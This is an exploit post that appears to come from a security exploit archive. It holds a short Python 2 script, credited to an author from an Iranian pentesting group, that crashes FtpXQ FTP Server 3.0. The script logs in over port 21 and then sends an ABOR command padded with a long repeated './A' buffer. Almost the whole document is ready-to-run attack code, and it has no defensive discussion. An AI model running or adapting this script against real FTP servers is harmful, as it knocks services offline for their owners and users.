FtpXQ FTP Server 3.0 Denial Of Service

`#!/usr/bin/python  
print "############################################################"  
print "## Iranian Pentesters Home ##"  
print "## Www.Pentesters.Ir ##"  
print "## PLATEN -[ H.jafari ]- ##"  
print "## FtpXQ FTP Server 3.0 Remote Denial Of Service Exploit ##"  
print "## author: PLATEN ##"  
print "## E-mail && blog: ##"  
print "## hjafari.blogspot.com ##"  
print "## platen.secure[at]gmail[dot]com ##"  
print "## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder ##"  
print "## and all members in Pentesters.ir ##"  
print "############################################################"  
import socket  
import sys  
def Usage():  
print ("Usage: ./expl.py <host> <Username> <password>\n")  
buffer= "./A" * 6300  
def start(hostname, username, passwd):  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((hostname, 21))  
except:  
print ("[-] Connection error!")  
sys.exit(1)  
r=sock.recv(1024)  
print "[+] " + r  
sock.send("user %s\r\n" %username)  
r=sock.recv(1024)  
sock.send("pass %s\r\n" %passwd)  
r=sock.recv(1024)  
print "[+] Send evil string"  
  
sock.send("ABOR %s\r\n" %buffer)  
sock.close()  
  
if len(sys.argv) <> 4:  
Usage()  
sys.exit(1)  
else:  
hostname=sys.argv[1]  
username=sys.argv[2]  
passwd=sys.argv[3]  
start(hostname,username,passwd)  
sys.exit(0)  
  
  
  
`